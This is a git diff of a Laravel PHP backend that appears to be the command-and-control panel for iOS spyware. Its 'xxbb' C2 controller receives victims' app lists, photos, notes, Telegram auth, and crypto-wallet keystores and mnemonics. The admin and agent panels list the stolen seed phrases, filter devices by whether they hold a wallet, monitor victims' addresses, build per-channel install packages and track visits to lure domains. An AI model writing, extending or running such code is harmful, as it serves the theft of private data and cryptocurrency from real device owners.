feat: xxbb
This commit is contained in:
@@ -30,7 +30,7 @@ class AdminUserController extends Controller
|
||||
}
|
||||
$q->orderBy($field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
|
||||
@@ -36,7 +36,7 @@ class AgentUserController extends Controller
|
||||
}
|
||||
$q->orderBy($field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
|
||||
@@ -52,7 +52,7 @@ class ChannelController extends Controller
|
||||
$q->where('status', (int) $status);
|
||||
}
|
||||
|
||||
$sortable = ['id', 'channel_id', 'channel_name', 'builder_type', 'status', 'user_id', 'created_at', 'updated_at'];
|
||||
$sortable = ['id', 'channel_id', 'builder_type', 'status', 'user_id', 'created_at', 'updated_at'];
|
||||
$field = (string) $request->query('field', 'id');
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
@@ -60,24 +60,29 @@ class ChannelController extends Controller
|
||||
}
|
||||
$q->orderBy($field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
$data = collect($paginator->items())->map(function (Channel $c) {
|
||||
return [
|
||||
$row = [
|
||||
'id' => $c->id,
|
||||
'channel_id' => $c->channel_id,
|
||||
'builder_type' => $c->builderType(),
|
||||
'channel_name' => $c->channel_name ?: '',
|
||||
'user_id' => (int) $c->user_id,
|
||||
'agent_username' => $c->agentLabel(),
|
||||
'remark' => $c->remark ?: '',
|
||||
'status' => (int) $c->status,
|
||||
'links' => $c->supportLinks(),
|
||||
'download_url' => null,
|
||||
'created_at' => optional($c->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($c->updated_at)->format('Y-m-d H:i:s'),
|
||||
];
|
||||
if ($c->isNewBuilder()) {
|
||||
$row['download_url'] = route($this->portal().'.channels.download', $c);
|
||||
}
|
||||
|
||||
return $row;
|
||||
})->values();
|
||||
|
||||
return response()->json([
|
||||
@@ -88,12 +93,17 @@ class ChannelController extends Controller
|
||||
]);
|
||||
}
|
||||
|
||||
public function randomId()
|
||||
public function randomId(Request $request)
|
||||
{
|
||||
$builderType = strtolower(trim((string) $request->query('builder_type', Channel::BUILDER_OLD)));
|
||||
$channelId = $builderType === Channel::BUILDER_NEW
|
||||
? Channel::randomNewChannelId()
|
||||
: Channel::randomChannelId();
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => '',
|
||||
'data' => ['channel_id' => Channel::randomChannelId()],
|
||||
'data' => ['channel_id' => $channelId],
|
||||
]);
|
||||
}
|
||||
|
||||
@@ -101,8 +111,17 @@ class ChannelController extends Controller
|
||||
{
|
||||
abort_if($this->isAgentPortal(), 403);
|
||||
|
||||
$builderType = strtolower(trim((string) $request->input('builder_type', Channel::BUILDER_OLD)));
|
||||
if (! in_array($builderType, [Channel::BUILDER_OLD, Channel::BUILDER_NEW], true)) {
|
||||
$builderType = Channel::BUILDER_OLD;
|
||||
}
|
||||
|
||||
$channelIdRule = $builderType === Channel::BUILDER_NEW
|
||||
? ['required', 'string', 'size:'.Channel::NEW_CHANNEL_ID_LENGTH, 'regex:/^[A-Za-z0-9]+$/']
|
||||
: ['required', 'string', 'size:32', 'regex:/^[a-z0-9]+$/', Rule::unique('channels', 'channel_id')];
|
||||
|
||||
$data = $request->validate([
|
||||
'channel_id' => ['required', 'string', 'size:32', 'regex:/^[a-z0-9]+$/', Rule::unique('channels', 'channel_id')],
|
||||
'channel_id' => $channelIdRule,
|
||||
'builder_type' => ['nullable', 'string', Rule::in([Channel::BUILDER_OLD, Channel::BUILDER_NEW])],
|
||||
'user_id' => ['nullable', 'integer', 'min:0'],
|
||||
'support_template' => ['nullable', 'string', Rule::in(ChannelProjectService::SUPPORT_TEMPLATES)],
|
||||
@@ -112,13 +131,23 @@ class ChannelController extends Controller
|
||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||
]);
|
||||
|
||||
if ($builderType === Channel::BUILDER_NEW) {
|
||||
$normalized = Channel::normalizeNewChannelId((string) $data['channel_id']);
|
||||
if ($normalized === null) {
|
||||
throw ValidationException::withMessages(['channel_id' => '新版渠道 ID 必须是 8 位字母或数字']);
|
||||
}
|
||||
$data['channel_id'] = $normalized;
|
||||
if (Channel::query()->whereRaw('upper(channel_id) = ?', [$normalized])->exists()) {
|
||||
throw ValidationException::withMessages(['channel_id' => '渠道 ID 已存在']);
|
||||
}
|
||||
}
|
||||
|
||||
$userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
|
||||
if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) {
|
||||
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
|
||||
}
|
||||
|
||||
$builderType = (string) ($data['builder_type'] ?? Channel::BUILDER_OLD);
|
||||
$channelName = null;
|
||||
$builderType = (string) ($data['builder_type'] ?? $builderType);
|
||||
$supportTemplate = (string) ($data['support_template'] ?? ChannelProjectService::DEFAULT_SUPPORT_TEMPLATE);
|
||||
$this->assertAgentChannelQuota($userId);
|
||||
|
||||
@@ -129,9 +158,7 @@ class ChannelController extends Controller
|
||||
$data['deployment_seed'] ?? null,
|
||||
$data['reporting_seed'] ?? null,
|
||||
$builderType,
|
||||
$channelName,
|
||||
);
|
||||
$channelName = $build['channel_name'] ?? null;
|
||||
} catch (\Throwable $e) {
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
@@ -140,7 +167,7 @@ class ChannelController extends Controller
|
||||
}
|
||||
|
||||
try {
|
||||
$channel = DB::transaction(function () use ($data, $userId, $builderType, $channelName) {
|
||||
$channel = DB::transaction(function () use ($data, $userId, $builderType) {
|
||||
if ($userId > 0) {
|
||||
$userExists = User::query()->lockForUpdate()->whereKey($userId)->exists();
|
||||
if (! $userExists) {
|
||||
@@ -153,7 +180,6 @@ class ChannelController extends Controller
|
||||
return Channel::query()->create([
|
||||
'channel_id' => $data['channel_id'],
|
||||
'builder_type' => $builderType,
|
||||
'channel_name' => $channelName,
|
||||
'user_id' => $userId,
|
||||
'domains' => [],
|
||||
'remark' => $data['remark'] ?? null,
|
||||
@@ -161,7 +187,7 @@ class ChannelController extends Controller
|
||||
]);
|
||||
});
|
||||
} catch (\Throwable $e) {
|
||||
$this->compensateBuildUnlessChannelExists($projects, $data['channel_id'], $builderType, $channelName);
|
||||
$this->compensateBuildUnlessChannelExists($projects, $data['channel_id'], $builderType);
|
||||
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
@@ -175,7 +201,6 @@ class ChannelController extends Controller
|
||||
'data' => [
|
||||
'id' => $channel->id,
|
||||
'builder_type' => $channel->builderType(),
|
||||
'channel_name' => $channel->channel_name,
|
||||
'links' => $channel->supportLinks(),
|
||||
'seeds' => $build['seeds'],
|
||||
'domains' => $build['domains'],
|
||||
@@ -184,6 +209,10 @@ class ChannelController extends Controller
|
||||
'support_path' => $build['support_path'] ?? $channel->landingPath(),
|
||||
'weifile_path' => $build['weifile_path'] ?? null,
|
||||
'daily_path' => $build['daily_path'] ?? '',
|
||||
'zip_path' => $build['zip_path'] ?? null,
|
||||
'download_url' => $channel->isNewBuilder()
|
||||
? route('admin.channels.download', $channel)
|
||||
: null,
|
||||
],
|
||||
]);
|
||||
}
|
||||
@@ -236,6 +265,19 @@ class ChannelController extends Controller
|
||||
]);
|
||||
}
|
||||
|
||||
public function download(Channel $channel, ChannelProjectService $projects)
|
||||
{
|
||||
$this->authorizeChannel($channel);
|
||||
abort_unless($channel->isNewBuilder(), 404);
|
||||
|
||||
$path = $projects->newChannelZipPath($channel->channel_id);
|
||||
abort_unless(is_file($path), 404, '安装包不存在,请重新创建渠道');
|
||||
|
||||
return response()->download($path, $channel->channel_id.'.zip', [
|
||||
'Content-Type' => 'application/zip',
|
||||
]);
|
||||
}
|
||||
|
||||
public function destroy(Channel $channel, ChannelProjectService $projects)
|
||||
{
|
||||
abort_if($this->isAgentPortal(), 403);
|
||||
@@ -243,11 +285,10 @@ class ChannelController extends Controller
|
||||
|
||||
$channelId = $channel->channel_id;
|
||||
$builderType = $channel->builderType();
|
||||
$channelName = $channel->channel_name;
|
||||
try {
|
||||
// Delete remotely first: a failed remote delete leaves the DB row available
|
||||
// for a safe retry instead of orphaning an unreachable static project.
|
||||
$projects->deleteWebTree($channelId, $builderType, $channelName);
|
||||
$projects->deleteWebTree($channelId, $builderType);
|
||||
DB::transaction(static fn () => $channel->delete());
|
||||
} catch (\Throwable $e) {
|
||||
return response()->json([
|
||||
@@ -288,7 +329,6 @@ class ChannelController extends Controller
|
||||
ChannelProjectService $projects,
|
||||
string $channelId,
|
||||
string $builderType = Channel::BUILDER_OLD,
|
||||
?string $channelName = null,
|
||||
): void {
|
||||
try {
|
||||
// A concurrent request may have won the unique channel_id insert. Its
|
||||
@@ -306,12 +346,11 @@ class ChannelController extends Controller
|
||||
}
|
||||
|
||||
try {
|
||||
$projects->deleteWebTree($channelId, $builderType, $channelName);
|
||||
$projects->deleteWebTree($channelId, $builderType);
|
||||
} catch (\Throwable $e) {
|
||||
Log::error('Failed to compensate channel build', [
|
||||
'channel_id' => $channelId,
|
||||
'builder_type' => $builderType,
|
||||
'channel_name' => $channelName,
|
||||
'error' => $e->getMessage(),
|
||||
]);
|
||||
}
|
||||
|
||||
@@ -13,8 +13,11 @@ use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Support\AgentScope;
|
||||
use App\Services\Tokenview\TokenviewMonitorService;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
class DeviceController extends Controller
|
||||
@@ -38,7 +41,7 @@ class DeviceController extends Controller
|
||||
$filters = $this->filtersFrom($request);
|
||||
$q = $this->filteredQuery($filters);
|
||||
|
||||
$sortable = ['id', 'device_id', 'channel_id', 'device_model', 'ios_version', 'ip', 'created_at', 'updated_at'];
|
||||
$sortable = ['id', 'device_id', 'channel_id', 'device_model', 'ios_version', 'ip', 'has_wallet', 'created_at', 'updated_at'];
|
||||
$field = (string) $request->query('field', 'updated_at');
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
@@ -46,7 +49,7 @@ class DeviceController extends Controller
|
||||
}
|
||||
$q->orderBy('devices.'.$field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['devices.*'], 'page', $page);
|
||||
|
||||
@@ -56,13 +59,17 @@ class DeviceController extends Controller
|
||||
'id' => $d->id,
|
||||
'device_id' => $d->device_id,
|
||||
'channel_id' => $d->channel_id ?: '',
|
||||
'source_domain' => $d->source_domain ?: '',
|
||||
'device_model' => $d->device_model ?: '',
|
||||
'ios_version' => $d->ios_version ?: '',
|
||||
'ip' => $d->ip ?: '',
|
||||
'has_wallet' => (int) $d->has_wallet,
|
||||
'wallet_names' => $d->walletNameList(),
|
||||
'album_storage' => $d->albumStorageEnabled() ? 1 : 0,
|
||||
'created_at' => optional($d->created_at)->format('Y-m-d H:i:s'),
|
||||
'updated_at' => optional($d->updated_at)->format('Y-m-d H:i:s'),
|
||||
'detail_url' => route($portal.'.devices.show', $d),
|
||||
'destroy_url' => route($portal.'.devices.destroy', $d),
|
||||
];
|
||||
})->values();
|
||||
|
||||
@@ -116,7 +123,7 @@ class DeviceController extends Controller
|
||||
$this->authorizeDevice($device);
|
||||
|
||||
$tab = (string) $request->query('tab', 'wallets');
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||
$field = (string) $request->query('field', 'id');
|
||||
@@ -169,9 +176,60 @@ class DeviceController extends Controller
|
||||
{
|
||||
$this->authorizeDevice($device);
|
||||
|
||||
$photos = $device->photos()->get(['id', 'path']);
|
||||
$deletedFiles = $this->deletePhotoFiles($device);
|
||||
|
||||
$deletedRows = $device->photos()->delete();
|
||||
$this->deleteStorageDir('c2/photos/'.$device->device_id);
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => 'ok',
|
||||
'data' => [
|
||||
'deleted_rows' => (int) $deletedRows,
|
||||
'deleted_files' => $deletedFiles,
|
||||
],
|
||||
]);
|
||||
}
|
||||
|
||||
public function destroy(Device $device)
|
||||
{
|
||||
$this->authorizeDevice($device);
|
||||
|
||||
$listUrl = route($this->portal().'.devices.index');
|
||||
$this->purgeDevice($device);
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => 'ok',
|
||||
'data' => [
|
||||
'list_url' => $listUrl,
|
||||
],
|
||||
]);
|
||||
}
|
||||
|
||||
private function purgeDevice(Device $device): void
|
||||
{
|
||||
$this->deletePhotoFiles($device);
|
||||
$this->deleteStorageDir('c2/photos/'.$device->device_id);
|
||||
$this->deleteStorageDir('c2/check/'.$device->device_id);
|
||||
$this->unmonitorAddresses($device);
|
||||
|
||||
DB::transaction(function () use ($device) {
|
||||
$device->apps()->delete();
|
||||
$device->events()->delete();
|
||||
$device->photos()->delete();
|
||||
$device->notes()->delete();
|
||||
$device->addresses()->delete();
|
||||
$device->mnemonics()->delete();
|
||||
$device->keystores()->delete();
|
||||
$device->delete();
|
||||
});
|
||||
}
|
||||
|
||||
private function deletePhotoFiles(Device $device): int
|
||||
{
|
||||
$deletedFiles = 0;
|
||||
foreach ($photos as $photo) {
|
||||
foreach ($device->photos()->get(['id', 'path']) as $photo) {
|
||||
$path = trim((string) ($photo->path ?? ''));
|
||||
if ($path === '') {
|
||||
continue;
|
||||
@@ -182,29 +240,45 @@ class DeviceController extends Controller
|
||||
}
|
||||
}
|
||||
|
||||
$deletedRows = $device->photos()->delete();
|
||||
return $deletedFiles;
|
||||
}
|
||||
|
||||
$dir = 'c2/photos/'.$device->device_id;
|
||||
private function deleteStorageDir(string $dir): void
|
||||
{
|
||||
try {
|
||||
if (Storage::disk('local')->directoryExists($dir)) {
|
||||
Storage::disk('local')->deleteDirectory($dir);
|
||||
}
|
||||
} catch (\Throwable) {
|
||||
// older flysystem without directoryExists — best-effort wipe
|
||||
try {
|
||||
Storage::disk('local')->deleteDirectory($dir);
|
||||
} catch (\Throwable) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
'msg' => 'ok',
|
||||
'data' => [
|
||||
'deleted_rows' => (int) $deletedRows,
|
||||
'deleted_files' => $deletedFiles,
|
||||
],
|
||||
]);
|
||||
private function unmonitorAddresses(Device $device): void
|
||||
{
|
||||
$addresses = $device->addresses()->where('monitor', 1)->get();
|
||||
if ($addresses->isEmpty()) {
|
||||
return;
|
||||
}
|
||||
try {
|
||||
$svc = app(TokenviewMonitorService::class);
|
||||
} catch (\Throwable) {
|
||||
return;
|
||||
}
|
||||
foreach ($addresses as $address) {
|
||||
try {
|
||||
$address->monitor = 0;
|
||||
$svc->syncMonitor($address);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('tokenview unmonitor on device delete failed: '.$e->getMessage(), [
|
||||
'device_id' => $device->id,
|
||||
'address_id' => $address->id,
|
||||
]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private function authorizeDevice(Device $device): void
|
||||
@@ -393,10 +467,16 @@ class DeviceController extends Controller
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, agent_user_id: ?int}
|
||||
* @return array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int}
|
||||
*/
|
||||
private function filtersFrom(Request $request): array
|
||||
{
|
||||
$hasWallet = $request->query('has_wallet');
|
||||
$hasWalletInt = null;
|
||||
if (in_array((string) $hasWallet, ['0', '1', '2'], true)) {
|
||||
$hasWalletInt = (int) $hasWallet;
|
||||
}
|
||||
|
||||
return [
|
||||
'device_key' => trim((string) $request->query('device_key', '')),
|
||||
'channel_id' => trim((string) $request->query('channel_id', '')),
|
||||
@@ -405,12 +485,13 @@ class DeviceController extends Controller
|
||||
'ios' => trim((string) $request->query('ios', '')),
|
||||
'installed_from' => trim((string) $request->query('installed_from', '')),
|
||||
'installed_to' => trim((string) $request->query('installed_to', '')),
|
||||
'has_wallet' => $hasWalletInt,
|
||||
'agent_user_id' => AgentScope::parseAgentUserIdFilter($request->query('agent_user_id')),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, agent_user_id: ?int} $filters
|
||||
* @param array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} $filters
|
||||
*/
|
||||
private function filteredQuery(array $filters): Builder
|
||||
{
|
||||
@@ -438,6 +519,9 @@ class DeviceController extends Controller
|
||||
if ($filters['installed_to'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}/', $filters['installed_to'])) {
|
||||
$q->whereDate('devices.created_at', '<=', substr($filters['installed_to'], 0, 10));
|
||||
}
|
||||
if ($filters['has_wallet'] !== null) {
|
||||
$q->where('devices.has_wallet', $filters['has_wallet']);
|
||||
}
|
||||
if (! $this->isAgentPortal()) {
|
||||
AgentScope::applyAgentUserFilter($q, $filters['agent_user_id']);
|
||||
}
|
||||
|
||||
@@ -45,7 +45,7 @@ class MnemonicController extends Controller
|
||||
}
|
||||
$q->orderBy('wallet_mnemonics.'.$field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
|
||||
@@ -38,7 +38,7 @@ class NoteController extends Controller
|
||||
}
|
||||
$q->orderBy('notes.'.$field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
|
||||
@@ -37,7 +37,7 @@ class PageVisitController extends Controller
|
||||
->forPage($page, $limit)
|
||||
->get([
|
||||
'id', 'channel_id', 'client_uid', 'os', 'os_version',
|
||||
'browser', 'browser_version', 'user_agent', 'ip', 'path', 'referer', 'created_at',
|
||||
'browser', 'browser_version', 'user_agent', 'ip', 'domain', 'referer', 'created_at',
|
||||
]);
|
||||
|
||||
return response()->json([
|
||||
@@ -54,7 +54,7 @@ class PageVisitController extends Controller
|
||||
'browser_version' => $v->browser_version ?: '',
|
||||
'user_agent' => $v->user_agent ?: '',
|
||||
'ip' => $v->ip ?: '',
|
||||
'path' => $v->path ?: '',
|
||||
'domain' => $v->domain ?: '',
|
||||
'referer' => $v->referer ?: '',
|
||||
'created_at' => optional($v->created_at)?->toDateTimeString(),
|
||||
])->values(),
|
||||
@@ -71,6 +71,11 @@ class PageVisitController extends Controller
|
||||
->selectRaw('COUNT(*) as pv')
|
||||
->selectRaw('COUNT(DISTINCT client_uid) as uv')
|
||||
->groupBy('os', 'os_version'),
|
||||
'domain' => $base
|
||||
->select('domain')
|
||||
->selectRaw('COUNT(*) as pv')
|
||||
->selectRaw('COUNT(DISTINCT client_uid) as uv')
|
||||
->groupBy('domain'),
|
||||
'browser' => $base
|
||||
->select('browser')
|
||||
->selectRaw('COUNT(*) as pv')
|
||||
@@ -95,6 +100,7 @@ class PageVisitController extends Controller
|
||||
->map(static function ($row) use ($group) {
|
||||
$label = match ($group) {
|
||||
'os_version' => trim(((string) ($row->os ?? '')).' '.((string) ($row->os_version ?? ''))),
|
||||
'domain' => (string) ($row->domain ?? ''),
|
||||
'browser' => (string) ($row->browser ?? ''),
|
||||
'browser_version' => trim(((string) ($row->browser ?? '')).' '.((string) ($row->browser_version ?? ''))),
|
||||
default => (string) ($row->os ?? ''),
|
||||
@@ -151,6 +157,10 @@ class PageVisitController extends Controller
|
||||
if ($browserVersion !== '') {
|
||||
$q->where('browser_version', $browserVersion);
|
||||
}
|
||||
$domain = trim((string) $request->query('domain', ''));
|
||||
if ($domain !== '') {
|
||||
$q->where('domain', 'like', '%'.$domain.'%');
|
||||
}
|
||||
$referer = trim((string) $request->query('referer', ''));
|
||||
if ($referer !== '') {
|
||||
$q->where('referer', 'like', '%'.$referer.'%');
|
||||
|
||||
@@ -38,7 +38,7 @@ class PhotoController extends Controller
|
||||
}
|
||||
$q->orderBy('photos.'.$field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
|
||||
@@ -39,7 +39,7 @@ class TransferRecordController extends Controller
|
||||
}
|
||||
$q->orderBy('transfer_records.'.$field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['transfer_records.*'], 'page', $page);
|
||||
|
||||
|
||||
@@ -47,7 +47,7 @@ class WalletAddressController extends Controller
|
||||
}
|
||||
$q->orderBy('wallet_addresses.'.$field, $order);
|
||||
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
||||
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||
$page = max(1, (int) $request->query('page', 1));
|
||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||
|
||||
|
||||
@@ -3,15 +3,25 @@
|
||||
namespace App\Http\Controllers\C2;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Http\Middleware\DecryptXxbbBody;
|
||||
use App\Models\Channel;
|
||||
use App\Models\PageVisit;
|
||||
use App\Services\CorunaArchive;
|
||||
use App\Services\IngestService;
|
||||
use App\Support\UserAgentParser;
|
||||
use Illuminate\Database\QueryException;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Http\Response;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
/**
|
||||
* xxbb short-path C2. Ingest matches lab C2Controller; ack body is `{x-ts}{}`.
|
||||
*
|
||||
* Native path map (corepayload + details plugins):
|
||||
* /a census, /u applist, /event telemetry, /t photo multipart, /nb notes,
|
||||
* /uj /us /ub /ba /result wallet plugins (keystore / mnemonic / addresses),
|
||||
* /api/tg/t Telegram auth (tglib).
|
||||
*/
|
||||
class XxbbC2Controller extends Controller
|
||||
{
|
||||
@@ -25,7 +35,7 @@ class XxbbC2Controller extends Controller
|
||||
}
|
||||
|
||||
/**
|
||||
* Loader beacon (plaintext JSON): channelCode + deviceVersion + domain.
|
||||
* Loader beacon (plaintext JSON): channelCode + deviceVersion + domain + sessionId.
|
||||
*/
|
||||
public function iptj(Request $request): Response
|
||||
{
|
||||
@@ -36,39 +46,78 @@ class XxbbC2Controller extends Controller
|
||||
}
|
||||
|
||||
$channelCode = trim((string) ($payload['channelCode'] ?? $request->input('channelCode', '')));
|
||||
$normalizedCode = Channel::normalizeNewChannelId($channelCode);
|
||||
if ($normalizedCode !== null) {
|
||||
$channelCode = $normalizedCode;
|
||||
}
|
||||
$domain = trim((string) ($payload['domain'] ?? $request->input('domain', '')));
|
||||
$deviceVersion = trim((string) ($payload['deviceVersion'] ?? $request->input('deviceVersion', '')));
|
||||
$sessionId = $this->normalizeSessionId(
|
||||
(string) ($payload['sessionId'] ?? $request->input('sessionId', '')),
|
||||
);
|
||||
|
||||
if ($channelCode !== '' && strlen($channelCode) <= 64) {
|
||||
$uid = $domain !== '' ? $domain : (string) $request->ip();
|
||||
$uid = substr($uid, 0, 64);
|
||||
$debounceKey = 'xxbb_iptj:'.$channelCode.':'.$uid;
|
||||
if (Cache::add($debounceKey, 1, now()->addSeconds(8))) {
|
||||
$ua = substr((string) $request->userAgent(), 0, 512);
|
||||
$parsed = UserAgentParser::parse($ua);
|
||||
$osVersion = $parsed['os_version'] !== '' ? $parsed['os_version'] : null;
|
||||
if ($deviceVersion !== '' && preg_match('/(\d+(?:\.\d+){0,3})/', $deviceVersion, $m)) {
|
||||
$osVersion = $m[1];
|
||||
}
|
||||
$domain = PageVisit::normalizeDomain($domain);
|
||||
$ip = (string) $request->ip();
|
||||
$uid = PageVisit::visitorUid($domain, $ip);
|
||||
|
||||
if ($channelCode !== '' && strlen($channelCode) <= 64 && $this->shouldRecordIptj($channelCode, $uid, $sessionId)) {
|
||||
$ua = substr((string) $request->userAgent(), 0, 512);
|
||||
$parsed = UserAgentParser::parse($ua);
|
||||
$osVersion = $parsed['os_version'] !== '' ? $parsed['os_version'] : null;
|
||||
if ($deviceVersion !== '' && preg_match('/(\d+(?:\.\d+){0,3})/', $deviceVersion, $m)) {
|
||||
$osVersion = $m[1];
|
||||
}
|
||||
try {
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => substr($channelCode, 0, 64),
|
||||
'client_uid' => $uid !== '' ? $uid : 'iptj',
|
||||
'client_uid' => $uid,
|
||||
'session_id' => $sessionId,
|
||||
'user_agent' => $ua !== '' ? $ua : null,
|
||||
'os' => $parsed['os'] ?: (str_starts_with($deviceVersion, 'iOS') ? 'iOS' : $parsed['os']),
|
||||
'os_version' => $osVersion,
|
||||
'browser' => $parsed['browser'],
|
||||
'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
|
||||
'ip' => $request->ip(),
|
||||
'path' => $domain !== '' ? substr($domain, 0, 255) : null,
|
||||
'ip' => $ip !== '' ? $ip : null,
|
||||
'domain' => $domain,
|
||||
'referer' => $this->referer($request),
|
||||
'created_at' => now(),
|
||||
]);
|
||||
} catch (QueryException $e) {
|
||||
if (($e->errorInfo[0] ?? '') !== '23000') {
|
||||
throw $e;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return response('{}', 200)->header('Content-Type', 'application/json');
|
||||
}
|
||||
|
||||
private function normalizeSessionId(string $sessionId): ?string
|
||||
{
|
||||
$sessionId = trim($sessionId);
|
||||
if ($sessionId === '' || strlen($sessionId) > 64 || ! preg_match('/^[A-Za-z0-9._:-]+$/', $sessionId)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return $sessionId;
|
||||
}
|
||||
|
||||
private function shouldRecordIptj(string $channelCode, string $uid, ?string $sessionId): bool
|
||||
{
|
||||
if ($sessionId !== null) {
|
||||
$debounceKey = 'xxbb_iptj_sid:'.$sessionId;
|
||||
if (! Cache::add($debounceKey, 1, now()->addDay())) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return ! PageVisit::query()->where('session_id', $sessionId)->exists();
|
||||
}
|
||||
|
||||
$debounceKey = 'xxbb_iptj:'.$channelCode.':'.$uid;
|
||||
|
||||
return Cache::add($debounceKey, 1, now()->addSeconds(8));
|
||||
}
|
||||
|
||||
/** Lab analogue: POST /api/user/avatar/set — device census, no create. */
|
||||
public function profile(Request $request): Response
|
||||
{
|
||||
@@ -99,6 +148,91 @@ class XxbbC2Controller extends Controller
|
||||
return $this->xxbbAck($request);
|
||||
}
|
||||
|
||||
/** Lab analogue: POST /api/user/check — photo 7z multipart. */
|
||||
public function photos(Request $request): Response
|
||||
{
|
||||
$rawKey = $request->attributes->get('coruna_device_key')
|
||||
?: $request->input('d')
|
||||
?: $request->input('f');
|
||||
$deviceKey = is_string($rawKey) && $rawKey !== ''
|
||||
? IngestService::normalizeDeviceKey(substr($rawKey, 0, 64))
|
||||
: null;
|
||||
$device = $this->ingest->ensureDevice(
|
||||
$request,
|
||||
array_filter([
|
||||
'd' => $deviceKey,
|
||||
'c' => $request->input('c'),
|
||||
'channel' => $request->input('channel'),
|
||||
]),
|
||||
$deviceKey
|
||||
);
|
||||
|
||||
$batchBase = (string) ($request->input('batchBase')
|
||||
?? $request->input('batch_base')
|
||||
?? $request->input('base')
|
||||
?? $request->input('ts')
|
||||
?? '0');
|
||||
if ($batchBase === '') {
|
||||
$batchBase = '0';
|
||||
}
|
||||
|
||||
$xHitRaw = $request->input('x-hit');
|
||||
$xHit = is_numeric($xHitRaw) ? (int) $xHitRaw : null;
|
||||
[$uploadCount, $processIndex] = IngestService::decodeHexCounterPair($request->input('idx'));
|
||||
[$textCount, $barcodeCount] = IngestService::decodeHexCounterPair($request->input('ftu'));
|
||||
$photoMeta = [
|
||||
'x_hit' => $xHit,
|
